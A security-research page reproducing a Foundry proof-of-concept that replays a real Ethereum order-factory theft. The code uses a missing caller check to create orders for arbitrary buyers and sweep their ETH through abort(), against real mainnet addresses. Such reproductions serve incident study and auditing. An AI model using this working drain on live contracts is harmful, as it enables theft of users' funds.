Public reproduction file
src/test/2026-09/OrderFactory_exp.sol
Public reproduction file for dataset entry OrderFactory.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.19;4import "forge-std/Test.sol";6// Order-factory exploit — Ethereum. The factory's order-creation entrypoint (selector 0xbde886fc)7// lets ANY caller create an order "for" an arbitrary buyer: it only checks that the buyer's request is8// active (getState(buyer) == 1). It never checks msg.sender == buyer, takes no buyer signature/nonce,9// and does not validate the attacker-supplied `seller`. The factory then pulls the buyer's FULL ETH10// balance out of the Account System into a freshly created order proxy and writes the attacker-chosen11// `seller` into the order's privileged slot. The attacker (as that seller) then calls the order's12// abort(address) to sweep all of that ETH to itself. One transaction drains many buyers.13//14// Attack tx : 0x201c7a9b4114c76fcda2b5de5d765505f4c5f7c194dddf505043501de6cbbb1a (block 25933639)15// Attacker : 0x77071d2bbd8f3c296c8cd7d0abd21bc172420cda (via helper contract 0xde26cf7c...)16// Factory : 0xa27bcd590195b2a9bdc29379de4f040b2d8066e0 (Order Factory, unverified)17// Account : 0xfcf3d97c6db4c3bf6020a2b99af074b595bda163 (Account System, unverified, holds buyer ETH)18// Deployer : 0xdd3068d772764443e4c4b18b8c96aee153d83056 (creates each order proxy via CREATE)19// Loss : ~24.7 ETH reported for the incident. This attack tx drained 5 buyers for 20.247 ETH20// (10.05 + 5.05 + 3.05 + 1.547 + 0.55); the PoC reproduces exactly this tx and asserts21// against 20.247 ETH. Matching the full ~24.7 ETH (other txs/buyers) is unnecessary.22//23// ROOT CAUSE — confirmed on-chain (all three contracts are unverified, so confirmed by the tx trace,24// direct reads, and 4-byte-matched signatures rather than by source):25// 1. getState(address)=0x1bab58f5 returns 1 (active) for each targeted buyer, and that is the ONLY26// gate. createOrderForBuyer (0xbde886fc) is reachable by any address; in the real tx the attacker's27// helper — not the buyer, and holding no buyer authorization — makes every call.28// 2. The buyer's whole balance (accountBalances(buyer)=0x6ff96d17) is moved by the Account System into29// the new order proxy: 10.05 / 5.05 / 3.05 / 1.547 / 0.55 ETH for the five buyers, exactly their30// account balances.31// 3. During order init the factory writes the attacker-supplied `seller` into the order's privileged32// slot; the order's abort(address)=0x90cbfa19 authorizes against that slot, so the attacker (the33// seller) passes the check and abort() forwards the order's full ETH to the address it names.34//35// ABI note: the factory is unverified so createOrderForBuyer's function NAME is unknown; the 9-argument36// tuple below was recovered from the trace and re-encoded byte-for-byte against the real calldata, and37// is invoked under the confirmed selector 0xbde886fc with real typed values (no calldata blob).38// abort / getState / accountBalances are real names (their selectors match keccak of the name).39//40// Run:41// forge test --contracts src/test/2026-09/OrderFactory_exp.sol -vvv43address constant FACTORY = 0xa27BCD590195b2A9BDc29379De4F040b2D8066e0;44address constant ACCOUNT = 0xFcF3d97c6Db4C3bF6020a2b99af074B595bDA163;45address constant DEPLOYER = 0xDd3068d772764443E4c4B18B8c96AeE153D83056; // CREATEs each order proxy46bytes4 constant CREATE_ORDER_SELECTOR = 0xbde886fc; // permissionless createOrderForBuyer entry48interface IOrderFactory {49 function getState(address buyer) external view returns (uint256);50}52interface IAccountSystem {53 function accountBalances(address account) external view returns (uint256);54}56interface IOrder {57 // Sends the order proxy's full ETH balance to `to`. Authorizes against the privileged slot that58 // createOrderForBuyer set to the attacker-supplied seller.59 function abort(address to) external;60}62contract OrderFactory_exp is Test {63 // The five buyers drained in the real tx, in order.64 address[5] internal BUYERS = [65 0x448F48d9149c3Eb7154019Efefa6A7Bf2BD58753,66 0x8F7dB8128FAE33915d47709074E2391e37A71136,67 0x5C8D3b20f52993C7f553Dd2bBf5d062b7CfC17D1,68 0x9D8f6E98d6ebe13B424386677BCF4b80dB0c6729,69 0x3eD7571B72ffBF0d44b741b49b597791b70e145D70 ];72 // Each buyer's order amount (createOrderForBuyer arg params[0]); the factory checks it against the73 // buyer's own stored request, so it must match per buyer. Every other order-config arg is identical74 // across buyers. Values taken verbatim from the real tx.75 uint256[5] internal ORDER_AMOUNT =76 [uint256(0x29a2241af62c0000), 0x4563918244f40000, 0x29a2241af62c0000, 0x2386f26fc10000, 0x6f05b59d3b20000];78 OrderFactoryExploit internal exploit;80 function setUp() public {81 // Parent block of the exploit tx: real protocol/buyer state immediately before the attack.82 vm.createSelectFork("mainnet", 25_933_638);83 exploit = new OrderFactoryExploit();85 vm.label(FACTORY, "OrderFactory");86 vm.label(ACCOUNT, "AccountSystem");87 vm.label(DEPLOYER, "OrderDeployer");88 vm.label(address(exploit), "Exploit");89 }91 /// forge-config: default.evm_version = "cancun"92 function testExploit() public {93 // CONFIRM the only gate is the buyer's active state, reachable permissionlessly.94 for (uint256 i = 0; i < BUYERS.length; i++) {95 assertEq(IOrderFactory(FACTORY).getState(BUYERS[i]), 1, "buyer must be active (the only check)");96 }98 uint256 attackerBefore = address(exploit).balance;99 uint256 expected;101 for (uint256 i = 0; i < BUYERS.length; i++) {102 address buyer = BUYERS[i];103 uint256 buyerFunds = IAccountSystem(ACCOUNT).accountBalances(buyer);104 expected += buyerFunds;106 // The order proxy is created by DEPLOYER via CREATE; predict its address from the deployer's107 // current nonce (exactly what an attacker does off-chain), then hand it to the exploit.108 address order = vm.computeCreateAddress(DEPLOYER, vm.getNonce(DEPLOYER));110 exploit.createForBuyer(buyer, ORDER_AMOUNT[i]); // permissionless create for an arbitrary buyer111 exploit.doAbort(order); // sweep the buyer's ETH out of the order via the seller-gated abort()113 emit log_named_decimal_uint("drained from buyer", buyerFunds, 18);114 }116 uint256 profit = address(exploit).balance - attackerBefore;117 emit log_named_decimal_uint("total ETH drained", profit, 18);119 // Profit is ETH swept out of the buyers' accounts into the attacker. Assert against this tx's120 // total (20.247 ETH); the reported ~24.7 ETH spans the whole incident (other txs/buyers).121 assertEq(profit, expected, "attacker must capture every targeted buyer's full balance");122 assertGt(profit, 20 ether, "this tx drains ~20.25 ETH");123 }124}126// Named attacker contract: the malicious "seller". Calls the factory's real order-creation entry for an127// arbitrary buyer with itself as seller, then aborts the created order to sweep the buyer's ETH.128contract OrderFactoryExploit {129 // Fixed order-config arguments carried by createOrderForBuyer, taken verbatim from the real tx. The130 // factory validates the order args against the buyer's stored request, so `orderAmount` (params[0])131 // is passed per buyer; the rest are identical across buyers. The ETH pulled is always the buyer's132 // whole account balance, independent of these values.133 address internal constant P2 = 0x3a5d6df61eC0A90E2cAd7af1FE3311cF1B8dc4da;135 function doAbort(address order) external {136 IOrder(order).abort(address(this));137 }139 function createForBuyer(address buyer, uint256 orderAmount) external {140 bytes32[] memory symbols = new bytes32[](5);141 symbols[0] = "BTC";142 symbols[1] = "ETH";143 symbols[2] = "XRP";144 symbols[3] = "BCH";145 symbols[4] = "XEM";147 uint256[] memory prices = new uint256[](5);148 prices[0] = 0x4a4aaf61436c;149 prices[1] = 0x071afd498d0000;150 prices[2] = 0x1769f313804ed6a0;151 prices[3] = 0x03b81432872c72;152 prices[4] = 0x4b91f9f55a59d220;154 uint256[] memory params = new uint256[](10);155 params[0] = orderAmount;156 params[1] = 0xb1a2bc2ec50000;157 params[2] = 0;158 params[3] = 0;159 params[4] = 0x7d0;160 params[5] = 0x038d7ea4c68000;161 params[6] = 0x278d00;162 params[7] = 0xe10;163 params[8] = 0x15180;164 params[9] = 0x186a0;166 // createOrderForBuyer(buyer, seller=this, P2, 0, this, symbols, prices, params, 0). Permissionless167 // — only the buyer's active state is checked. Pulls the buyer's whole balance into `order` and168 // writes this contract (the seller) into the order's privileged slot.169 (bool ok,) = FACTORY.call(170 abi.encodeWithSelector(171 CREATE_ORDER_SELECTOR, buyer, address(this), P2, uint256(0), address(this), symbols, prices, params, uint256(0)172 )173 );174 require(ok, "createOrderForBuyer failed");175 }177 receive() external payable {}178}Analysis
Dataset entry
Public Foundry test for “OrderFactory” (2026-09-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/LPBonus_exp.solSame month in the dataset · 198 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
- src/test/2026-09/RouterDrain_exp.solSame month in the dataset · 226 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x77071d2bbd8f3c296c8cd7d0abd21bc172420cda
- Attack Tx
0x201c7a9b4114c76fcda2b5de5d765505f4c5f7c194dddf505043501de6cbbb1a
File record
- Name
- OrderFactory
- Path
- src/test/2026-09/OrderFactory_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8ee0763a9925bcf6305bc9e4058cd52c980e7f58
- Language
- Solidity
- Size
- 179 lines
- Date
- 2026-09-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/OrderFactory_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8ee0763a9925bcf6305bc9e4058cd52c980e7f58, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.